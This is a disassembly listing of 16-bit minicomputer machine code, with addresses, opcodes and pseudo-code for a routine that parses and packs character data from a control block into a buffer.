0x0002 (0x000004) 0x2118- f:00020 d: 280 | A = OR[280]
0x0003 (0x000006) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0004 (0x000008) 0x2908- f:00024 d: 264 | OR[264] = A
0x0005 (0x00000A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0006 (0x00000C) 0x2924- f:00024 d: 292 | OR[292] = A
0x0007 (0x00000E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0008 (0x000010) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0009 (0x000012) 0x2908- f:00024 d: 264 | OR[264] = A
0x000A (0x000014) 0x3108- f:00030 d: 264 | A = (OR[264])
0x000B (0x000016) 0x2931- f:00024 d: 305 | OR[305] = A
0x000C (0x000018) 0x2118- f:00020 d: 280 | A = OR[280]
0x000D (0x00001A) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x000E (0x00001C) 0x2908- f:00024 d: 264 | OR[264] = A
0x000F (0x00001E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0010 (0x000020) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0011 (0x000022) 0x292D- f:00024 d: 301 | OR[301] = A
0x0012 (0x000024) 0x212D- f:00020 d: 301 | A = OR[301]
0x0013 (0x000026) 0x8603- f:00103 d: 3 | P = P + 3 (0x0016), A # 0
0x0014 (0x000028) 0x102F- f:00010 d: 47 | A = 47 (0x002F)
0x0015 (0x00002A) 0x292D- f:00024 d: 301 | OR[301] = A
0x0016 (0x00002C) 0x2118- f:00020 d: 280 | A = OR[280]
0x0017 (0x00002E) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0018 (0x000030) 0x2908- f:00024 d: 264 | OR[264] = A
0x0019 (0x000032) 0x3108- f:00030 d: 264 | A = (OR[264])
0x001A (0x000034) 0x2928- f:00024 d: 296 | OR[296] = A
0x001B (0x000036) 0x2118- f:00020 d: 280 | A = OR[280]
0x001C (0x000038) 0x1418- f:00012 d: 24 | A = A + 24 (0x0018)
0x001D (0x00003A) 0x291B- f:00024 d: 283 | OR[283] = A
0x001E (0x00003C) 0x2118- f:00020 d: 280 | A = OR[280]
0x001F (0x00003E) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x0020 (0x000040) 0x2908- f:00024 d: 264 | OR[264] = A
0x0021 (0x000042) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0022 (0x000044) 0x2925- f:00024 d: 293 | OR[293] = A
0x0023 (0x000046) 0x2118- f:00020 d: 280 | A = OR[280]
0x0024 (0x000048) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x0025 (0x00004A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0026 (0x00004C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0027 (0x00004E) 0x291C- f:00024 d: 284 | OR[284] = A
0x0028 (0x000050) 0x2118- f:00020 d: 280 | A = OR[280]
0x0029 (0x000052) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x002A (0x000054) 0x2908- f:00024 d: 264 | OR[264] = A
0x002B (0x000056) 0x3108- f:00030 d: 264 | A = (OR[264])
0x002C (0x000058) 0x2933- f:00024 d: 307 | OR[307] = A
0x002D (0x00005A) 0x2118- f:00020 d: 280 | A = OR[280]
0x002E (0x00005C) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x002F (0x00005E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0030 (0x000060) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0031 (0x000062) 0x292C- f:00024 d: 300 | OR[300] = A
0x0032 (0x000064) 0x2118- f:00020 d: 280 | A = OR[280]
0x0033 (0x000066) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0034 (0x000068) 0x2908- f:00024 d: 264 | OR[264] = A
0x0035 (0x00006A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0036 (0x00006C) 0x080B- f:00004 d: 11 | A = A > 11 (0x000B)
0x0037 (0x00006E) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x0038 (0x000070) 0x292E- f:00024 d: 302 | OR[302] = A
0x0039 (0x000072) 0x2118- f:00020 d: 280 | A = OR[280]
0x003A (0x000074) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x003B (0x000076) 0x2908- f:00024 d: 264 | OR[264] = A
0x003C (0x000078) 0x3108- f:00030 d: 264 | A = (OR[264])
0x003D (0x00007A) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x003E (0x00007C) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x003F (0x00007E) 0x2932- f:00024 d: 306 | OR[306] = A
0x0040 (0x000080) 0x2118- f:00020 d: 280 | A = OR[280]
0x0041 (0x000082) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013)
0x0042 (0x000084) 0x2908- f:00024 d: 264 | OR[264] = A
0x0043 (0x000086) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0044 (0x000088) 0x2929- f:00024 d: 297 | OR[297] = A
0x0045 (0x00008A) 0x2118- f:00020 d: 280 | A = OR[280]
0x0046 (0x00008C) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012)
0x0047 (0x00008E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0048 (0x000090) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0049 (0x000092) 0x2927- f:00024 d: 295 | OR[295] = A
0x004A (0x000094) 0x212E- f:00020 d: 302 | A = OR[302]
0x004B (0x000096) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x004C (0x000098) 0x851B- f:00102 d: 283 | P = P + 283 (0x0167), A = 0
0x004D (0x00009A) 0x2128- f:00020 d: 296 | A = OR[296]
0x004E (0x00009C) 0x2733- f:00023 d: 307 | A = A - OR[307]
0x004F (0x00009E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0051), A = 0
0x0050 (0x0000A0) 0x7006- f:00070 d: 6 | P = P + 6 (0x0056)
0x0051 (0x0000A2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0052 (0x0000A4) 0x2933- f:00024 d: 307 | OR[307] = A
0x0053 (0x0000A6) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0054 (0x0000A8) 0x292A- f:00024 d: 298 | OR[298] = A
0x0055 (0x0000AA) 0x716C- f:00070 d: 364 | P = P + 364 (0x01C1)
0x0056 (0x0000AC) 0x2133- f:00020 d: 307 | A = OR[307]
0x0057 (0x0000AE) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0058 (0x0000B0) 0x2531- f:00022 d: 305 | A = A + OR[305]
0x0059 (0x0000B2) 0x290D- f:00024 d: 269 | OR[269] = A
0x005A (0x0000B4) 0x2133- f:00020 d: 307 | A = OR[307]
0x005B (0x0000B6) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x005C (0x0000B8) 0x2908- f:00024 d: 264 | OR[264] = A
0x005D (0x0000BA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x005E (0x0000BC) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x005F (0x0000BE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0061), A = 0
0x0060 (0x0000C0) 0x7005- f:00070 d: 5 | P = P + 5 (0x0065)
0x0061 (0x0000C2) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0062 (0x0000C4) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0063 (0x0000C6) 0x291D- f:00024 d: 285 | OR[285] = A
0x0064 (0x0000C8) 0x7004- f:00070 d: 4 | P = P + 4 (0x0068)
0x0065 (0x0000CA) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0066 (0x0000CC) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0067 (0x0000CE) 0x291D- f:00024 d: 285 | OR[285] = A
0x0068 (0x0000D0) 0x2133- f:00020 d: 307 | A = OR[307]
0x0069 (0x0000D2) 0x8402- f:00102 d: 2 | P = P + 2 (0x006B), A = 0
0x006A (0x0000D4) 0x704D- f:00070 d: 77 | P = P + 77 (0x00B7)
0x006B (0x0000D6) 0x211D- f:00020 d: 285 | A = OR[285]
0x006C (0x0000D8) 0x272D- f:00023 d: 301 | A = A - OR[301]
0x006D (0x0000DA) 0x8402- f:00102 d: 2 | P = P + 2 (0x006F), A = 0
0x006E (0x0000DC) 0x7049- f:00070 d: 73 | P = P + 73 (0x00B7)
0x006F (0x0000DE) 0x3131- f:00030 d: 305 | A = (OR[305])
0x0070 (0x0000E0) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0071 (0x0000E2) 0x2908- f:00024 d: 264 | OR[264] = A
0x0072 (0x0000E4) 0x1045- f:00010 d: 69 | A = 69 (0x0045)
0x0073 (0x0000E6) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0074 (0x0000E8) 0x8402- f:00102 d: 2 | P = P + 2 (0x0076), A = 0
0x0075 (0x0000EA) 0x7016- f:00070 d: 22 | P = P + 22 (0x008B)
0x0076 (0x0000EC) 0x2128- f:00020 d: 296 | A = OR[296]
0x0077 (0x0000EE) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x0078 (0x0000F0) 0x8402- f:00102 d: 2 | P = P + 2 (0x007A), A = 0
0x0079 (0x0000F2) 0x7011- f:00070 d: 17 | P = P + 17 (0x008A)
0x007A (0x0000F4) 0x2131- f:00020 d: 305 | A = OR[305]
0x007B (0x0000F6) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x007C (0x0000F8) 0x2908- f:00024 d: 264 | OR[264] = A
0x007D (0x0000FA) 0x1800-0x4F46 f:00014 d: 0 | A = 20294 (0x4F46)
0x007F (0x0000FE) 0x3708- f:00033 d: 264 | A = A - (OR[264])
0x0080 (0x000100) 0x8402- f:00102 d: 2 | P = P + 2 (0x0082), A = 0
0x0081 (0x000102) 0x7009- f:00070 d: 9 | P = P + 9 (0x008A)
0x0082 (0x000104) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0083 (0x000106) 0x2933- f:00024 d: 307 | OR[307] = A
0x0084 (0x000108) 0x2118- f:00020 d: 280 | A = OR[280]
0x0085 (0x00010A) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x0086 (0x00010C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0087 (0x00010E) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x0088 (0x000110) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0089 (0x000112) 0x723C- f:00071 d: 60 | P = P - 60 (0x004D)
0x008A (0x000114) 0x702D- f:00070 d: 45 | P = P + 45 (0x00B7)
0x008B (0x000116) 0x3131- f:00030 d: 305 | A = (OR[305])
0x008C (0x000118) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x008D (0x00011A) 0x2908- f:00024 d: 264 | OR[264] = A
0x008E (0x00011C) 0x1043- f:00010 d: 67 | A = 67 (0x0043)
0x008F (0x00011E) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0090 (0x000120) 0x8402- f:00102 d: 2 | P = P + 2 (0x0092), A = 0
0x0091 (0x000122) 0x7026- f:00070 d: 38 | P = P + 38 (0x00B7)
0x0092 (0x000124) 0x2128- f:00020 d: 296 | A = OR[296]
0x0093 (0x000126) 0x1605- f:00013 d: 5 | A = A - 5 (0x0005)
0x0094 (0x000128) 0x8402- f:00102 d: 2 | P = P + 2 (0x0096), A = 0
0x0095 (0x00012A) 0x7022- f:00070 d: 34 | P = P + 34 (0x00B7)
0x0096 (0x00012C) 0x2131- f:00020 d: 305 | A = OR[305]
0x0097 (0x00012E) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0098 (0x000130) 0x2908- f:00024 d: 264 | OR[264] = A
0x0099 (0x000132) 0x1800-0x433D f:00014 d: 0 | A = 17213 (0x433D)
0x009B (0x000136) 0x3708- f:00033 d: 264 | A = A - (OR[264])
0x009C (0x000138) 0x8402- f:00102 d: 2 | P = P + 2 (0x009E), A = 0
0x009D (0x00013A) 0x701A- f:00070 d: 26 | P = P + 26 (0x00B7)
0x009E (0x00013C) 0x2131- f:00020 d: 305 | A = OR[305]
0x009F (0x00013E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00A0 (0x000140) 0x2908- f:00024 d: 264 | OR[264] = A
0x00A1 (0x000142) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00A2 (0x000144) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00A3 (0x000146) 0x292D- f:00024 d: 301 | OR[301] = A
0x00A4 (0x000148) 0x212D- f:00020 d: 301 | A = OR[301]
0x00A5 (0x00014A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00A6 (0x00014C) 0x292D- f:00024 d: 301 | OR[301] = A
0x00A7 (0x00014E) 0x2118- f:00020 d: 280 | A = OR[280]
0x00A8 (0x000150) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007)
0x00A9 (0x000152) 0x2908- f:00024 d: 264 | OR[264] = A
0x00AA (0x000154) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00AB (0x000156) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x00AD (0x00015A) 0x252D- f:00022 d: 301 | A = A + OR[301]
0x00AE (0x00015C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00AF (0x00015E) 0x1005- f:00010 d: 5 | A = 5 (0x0005)
0x00B0 (0x000160) 0x2933- f:00024 d: 307 | OR[307] = A
0x00B1 (0x000162) 0x2118- f:00020 d: 280 | A = OR[280]
0x00B2 (0x000164) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x00B3 (0x000166) 0x2908- f:00024 d: 264 | OR[264] = A
0x00B4 (0x000168) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00B5 (0x00016A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00B6 (0x00016C) 0x7269- f:00071 d: 105 | P = P - 105 (0x004D)
0x00B7 (0x00016E) 0x2D33- f:00026 d: 307 | OR[307] = OR[307] + 1
0x00B8 (0x000170) 0x211D- f:00020 d: 285 | A = OR[285]
0x00B9 (0x000172) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020)
0x00BA (0x000174) 0x8402- f:00102 d: 2 | P = P + 2 (0x00BC), A = 0
0x00BB (0x000176) 0x7033- f:00070 d: 51 | P = P + 51 (0x00EE)
0x00BC (0x000178) 0x2D27- f:00026 d: 295 | OR[295] = OR[295] + 1
0x00BD (0x00017A) 0x2127- f:00020 d: 295 | A = OR[295]
0x00BE (0x00017C) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x00BF (0x00017E) 0x8402- f:00102 d: 2 | P = P + 2 (0x00C1), A = 0
0x00C0 (0x000180) 0x701F- f:00070 d: 31 | P = P + 31 (0x00DF)
0x00C1 (0x000182) 0x101B- f:00010 d: 27 | A = 27 (0x001B)
0x00C2 (0x000184) 0x291D- f:00024 d: 285 | OR[285] = A
0x00C3 (0x000186) 0x211C- f:00020 d: 284 | A = OR[284]
0x00C4 (0x000188) 0x160A- f:00013 d: 10 | A = A - 10 (0x000A)
0x00C5 (0x00018A) 0x8002- f:00100 d: 2 | P = P + 2 (0x00C7), C = 0
0x00C6 (0x00018C) 0x7005- f:00070 d: 5 | P = P + 5 (0x00CB)
0x00C7 (0x00018E) 0x211C- f:00020 d: 284 | A = OR[284]
0x00C8 (0x000190) 0x160A- f:00013 d: 10 | A = A - 10 (0x000A)
0x00C9 (0x000192) 0x291C- f:00024 d: 284 | OR[284] = A
0x00CA (0x000194) 0x7004- f:00070 d: 4 | P = P + 4 (0x00CE)
0x00CB (0x000196) 0x211C- f:00020 d: 284 | A = OR[284]
0x00CC (0x000198) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x00CD (0x00019A) 0x291C- f:00024 d: 284 | OR[284] = A
0x00CE (0x00019C) 0x211C- f:00020 d: 284 | A = OR[284]
0x00CF (0x00019E) 0x123F- f:00011 d: 63 | A = A & 63 (0x003F)
0x00D0 (0x0001A0) 0x1640- f:00013 d: 64 | A = A - 64 (0x0040)
0x00D1 (0x0001A2) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x00D2 (0x0001A4) 0x1240- f:00011 d: 64 | A = A & 64 (0x0040)
0x00D3 (0x0001A6) 0x2908- f:00024 d: 264 | OR[264] = A
0x00D4 (0x0001A8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D5 (0x0001AA) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00D6 (0x0001AC) 0x8402- f:00102 d: 2 | P = P + 2 (0x00D8), A = 0
0x00D7 (0x0001AE) 0x7007- f:00070 d: 7 | P = P + 7 (0x00DE)
0x00D8 (0x0001B0) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00D9 (0x0001B2) 0x292E- f:00024 d: 302 | OR[302] = A
0x00DA (0x0001B4) 0x211C- f:00020 d: 284 | A = OR[284]
0x00DB (0x0001B6) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x00DD (0x0001BA) 0x291C- f:00024 d: 284 | OR[284] = A
0x00DE (0x0001BC) 0x700F- f:00070 d: 15 | P = P + 15 (0x00ED)
0x00DF (0x0001BE) 0x2127- f:00020 d: 295 | A = OR[295]
0x00E0 (0x0001C0) 0x1660- f:00013 d: 96 | A = A - 96 (0x0060)
0x00E1 (0x0001C2) 0x8402- f:00102 d: 2 | P = P + 2 (0x00E3), A = 0
0x00E2 (0x0001C4) 0x7006- f:00070 d: 6 | P = P + 6 (0x00E8)
0x00E3 (0x0001C6) 0x107E- f:00010 d: 126 | A = 126 (0x007E)
0x00E4 (0x0001C8) 0x291D- f:00024 d: 285 | OR[285] = A
0x00E5 (0x0001CA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00E6 (0x0001CC) 0x2927- f:00024 d: 295 | OR[295] = A
0x00E7 (0x0001CE) 0x7006- f:00070 d: 6 | P = P + 6 (0x00ED)
0x00E8 (0x0001D0) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x00E9 (0x0001D2) 0x2727- f:00023 d: 295 | A = A - OR[295]
0x00EA (0x0001D4) 0x8002- f:00100 d: 2 | P = P + 2 (0x00EC), C = 0
0x00EB (0x0001D6) 0x7002- f:00070 d: 2 | P = P + 2 (0x00ED)
0x00EC (0x0001D8) 0x729F- f:00071 d: 159 | P = P - 159 (0x004D)
0x00ED (0x0001DA) 0x700E- f:00070 d: 14 | P = P + 14 (0x00FB)
0x00EE (0x0001DC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00EF (0x0001DE) 0x2929- f:00024 d: 297 | OR[297] = A
0x00F0 (0x0001E0) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x00F1 (0x0001E2) 0x2727- f:00023 d: 295 | A = A - OR[295]
0x00F2 (0x0001E4) 0x8002- f:00100 d: 2 | P = P + 2 (0x00F4), C = 0
0x00F3 (0x0001E6) 0x7006- f:00070 d: 6 | P = P + 6 (0x00F9)
0x00F4 (0x0001E8) 0x211D- f:00020 d: 285 | A = OR[285]
0x00F5 (0x0001EA) 0x2929- f:00024 d: 297 | OR[297] = A
0x00F6 (0x0001EC) 0x2127- f:00020 d: 295 | A = OR[295]
0x00F7 (0x0001EE) 0x141E- f:00012 d: 30 | A = A + 30 (0x001E)
0x00F8 (0x0001F0) 0x291D- f:00024 d: 285 | OR[285] = A
0x00F9 (0x0001F2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00FA (0x0001F4) 0x2927- f:00024 d: 295 | OR[295] = A
0x00FB (0x0001F6) 0x211C- f:00020 d: 284 | A = OR[284]
0x00FC (0x0001F8) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x00FE (0x0001FC) 0x2908- f:00024 d: 264 | OR[264] = A
0x00FF (0x0001FE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0100 (0x000200) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0101 (0x000202) 0xBC03-0x026E f:00136 d: 3 | R = OR[3]+622 (0x026E), A = 0
0x0103 (0x000206) 0x211C- f:00020 d: 284 | A = OR[284]
0x0104 (0x000208) 0x127F- f:00011 d: 127 | A = A & 127 (0x007F)
0x0105 (0x00020A) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0106 (0x00020C) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x0107 (0x00020E) 0x290D- f:00024 d: 269 | OR[269] = A
0x0108 (0x000210) 0x211C- f:00020 d: 284 | A = OR[284]
0x0109 (0x000212) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x010A (0x000214) 0x2908- f:00024 d: 264 | OR[264] = A
0x010B (0x000216) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x010C (0x000218) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x010D (0x00021A) 0x8402- f:00102 d: 2 | P = P + 2 (0x010F), A = 0
0x010E (0x00021C) 0x7005- f:00070 d: 5 | P = P + 5 (0x0113)
0x010F (0x00021E) 0x211D- f:00020 d: 285 | A = OR[285]
0x0110 (0x000220) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x0111 (0x000222) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x0112 (0x000224) 0x7006- f:00070 d: 6 | P = P + 6 (0x0118)
0x0113 (0x000226) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0114 (0x000228) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0116 (0x00022C) 0x251D- f:00022 d: 285 | A = A + OR[285]
0x0117 (0x00022E) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x0118 (0x000230) 0x2D1C- f:00026 d: 284 | OR[284] = OR[284] + 1
0x0119 (0x000232) 0x212E- f:00020 d: 302 | A = OR[302]
0x011A (0x000234) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x011B (0x000236) 0x8402- f:00102 d: 2 | P = P + 2 (0x011D), A = 0
0x011C (0x000238) 0x706D- f:00070 d: 109 | P = P + 109 (0x0189)
0x011D (0x00023A) 0x211C- f:00020 d: 284 | A = OR[284]
0x011E (0x00023C) 0x1207- f:00011 d: 7 | A = A & 7 (0x0007)
0x011F (0x00023E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0120 (0x000240) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0121 (0x000242) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0122 (0x000244) 0x8402- f:00102 d: 2 | P = P + 2 (0x0124), A = 0
0x0123 (0x000246) 0x7066- f:00070 d: 102 | P = P + 102 (0x0189)
0x0124 (0x000248) 0x2118- f:00020 d: 280 | A = OR[280]
0x0125 (0x00024A) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D)
0x0126 (0x00024C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0127 (0x00024E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0128 (0x000250) 0x2919- f:00024 d: 281 | OR[281] = A
0x0129 (0x000252) 0x2118- f:00020 d: 280 | A = OR[280]
0x012A (0x000254) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x012B (0x000256) 0x2908- f:00024 d: 264 | OR[264] = A
0x012C (0x000258) 0x3108- f:00030 d: 264 | A = (OR[264])
0x012D (0x00025A) 0x291A- f:00024 d: 282 | OR[282] = A
0x012E (0x00025C) 0x2119- f:00020 d: 281 | A = OR[281]
0x012F (0x00025E) 0x251A- f:00022 d: 282 | A = A + OR[282]
0x0130 (0x000260) 0x2908- f:00024 d: 264 | OR[264] = A
0x0131 (0x000262) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0132 (0x000264) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0133 (0x000266) 0x8605- f:00103 d: 5 | P = P + 5 (0x0138), A # 0
0x0134 (0x000268) 0x211C- f:00020 d: 284 | A = OR[284]
0x0135 (0x00026A) 0x1640- f:00013 d: 64 | A = A - 64 (0x0040)
0x0136 (0x00026C) 0x8202- f:00101 d: 2 | P = P + 2 (0x0138), C = 1
0x0137 (0x00026E) 0x7030- f:00070 d: 48 | P = P + 48 (0x0167)
0x0138 (0x000270) 0x1027- f:00010 d: 39 | A = 39 (0x0027)
0x0139 (0x000272) 0x2934- f:00024 d: 308 | OR[308] = A
0x013A (0x000274) 0x2123- f:00020 d: 291 | A = OR[291]
0x013B (0x000276) 0x2935- f:00024 d: 309 | OR[309] = A
0x013C (0x000278) 0x2124- f:00020 d: 292 | A = OR[292]
0x013D (0x00027A) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x013E (0x00027C) 0x2936- f:00024 d: 310 | OR[310] = A
0x013F (0x00027E) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF)
0x0141 (0x000282) 0x271C- f:00023 d: 284 | A = A - OR[284]
0x0142 (0x000284) 0x1240- f:00011 d: 64 | A = A & 64 (0x0040)
0x0143 (0x000286) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0144 (0x000288) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x0145 (0x00028A) 0x2937- f:00024 d: 311 | OR[311] = A
0x0146 (0x00028C) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0147 (0x00028E) 0x2938- f:00024 d: 312 | OR[312] = A
0x0148 (0x000290) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0149 (0x000292) 0x2939- f:00024 d: 313 | OR[313] = A
0x014A (0x000294) 0x1134- f:00010 d: 308 | A = 308 (0x0134)
0x014B (0x000296) 0x5800- f:00054 d: 0 | B = A
0x014C (0x000298) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x014D (0x00029A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x014E (0x00029C) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x014F (0x00029E) 0x2B25- f:00025 d: 293 | OR[293] = A + OR[293]
0x0150 (0x0002A0) 0x2125- f:00020 d: 293 | A = OR[293]
0x0151 (0x0002A2) 0x0809- f:00004 d: 9 | A = A > 9 (0x0009)
0x0152 (0x0002A4) 0x2908- f:00024 d: 264 | OR[264] = A
0x0153 (0x0002A6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0154 (0x0002A8) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0155 (0x0002AA) 0x8602- f:00103 d: 2 | P = P + 2 (0x0157), A # 0
0x0156 (0x0002AC) 0x7011- f:00070 d: 17 | P = P + 17 (0x0167)
0x0157 (0x0002AE) 0x1004- f:00010 d: 4 | A = 4 (0x0004)
0x0158 (0x0002B0) 0x292E- f:00024 d: 302 | OR[302] = A
0x0159 (0x0002B2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x015A (0x0002B4) 0x2925- f:00024 d: 293 | OR[293] = A
0x015B (0x0002B6) 0x1005- f:00010 d: 5 | A = 5 (0x0005)
0x015C (0x0002B8) 0x292A- f:00024 d: 298 | OR[298] = A
0x015D (0x0002BA) 0x211C- f:00020 d: 284 | A = OR[284]
0x015E (0x0002BC) 0x123F- f:00011 d: 63 | A = A & 63 (0x003F)
0x015F (0x0002BE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0160 (0x0002C0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0161 (0x0002C2) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0162 (0x0002C4) 0x8603- f:00103 d: 3 | P = P + 3 (0x0165), A # 0
0x0163 (0x0002C6) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x0164 (0x0002C8) 0x292A- f:00024 d: 298 | OR[298] = A
0x0165 (0x0002CA) 0x7A03-0x0314 f:00075 d: 3 | P = OR[3]+788 (0x0314)
0x0167 (0x0002CE) 0x211C- f:00020 d: 284 | A = OR[284]
0x0168 (0x0002D0) 0x123F- f:00011 d: 63 | A = A & 63 (0x003F)
0x0169 (0x0002D2) 0x2908- f:00024 d: 264 | OR[264] = A
0x016A (0x0002D4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x016B (0x0002D6) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x016C (0x0002D8) 0x8602- f:00103 d: 2 | P = P + 2 (0x016E), A # 0
0x016D (0x0002DA) 0x7017- f:00070 d: 23 | P = P + 23 (0x0184)
0x016E (0x0002DC) 0x1027- f:00010 d: 39 | A = 39 (0x0027)
0x016F (0x0002DE) 0x2934- f:00024 d: 308 | OR[308] = A
0x0170 (0x0002E0) 0x2123- f:00020 d: 291 | A = OR[291]
0x0171 (0x0002E2) 0x2935- f:00024 d: 309 | OR[309] = A
0x0172 (0x0002E4) 0x2124- f:00020 d: 292 | A = OR[292]
0x0173 (0x0002E6) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x0174 (0x0002E8) 0x2936- f:00024 d: 310 | OR[310] = A
0x0175 (0x0002EA) 0x211C- f:00020 d: 284 | A = OR[284]
0x0176 (0x0002EC) 0x1240- f:00011 d: 64 | A = A & 64 (0x0040)
0x0177 (0x0002EE) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0178 (0x0002F0) 0x251B- f:00022 d: 283 | A = A + OR[283]
0x0179 (0x0002F2) 0x2937- f:00024 d: 311 | OR[311] = A
0x017A (0x0002F4) 0x211C- f:00020 d: 284 | A = OR[284]
0x017B (0x0002F6) 0x123F- f:00011 d: 63 | A = A & 63 (0x003F)
0x017C (0x0002F8) 0x0803- f:00004 d: 3 | A = A > 3 (0x0003)
0x017D (0x0002FA) 0x2938- f:00024 d: 312 | OR[312] = A
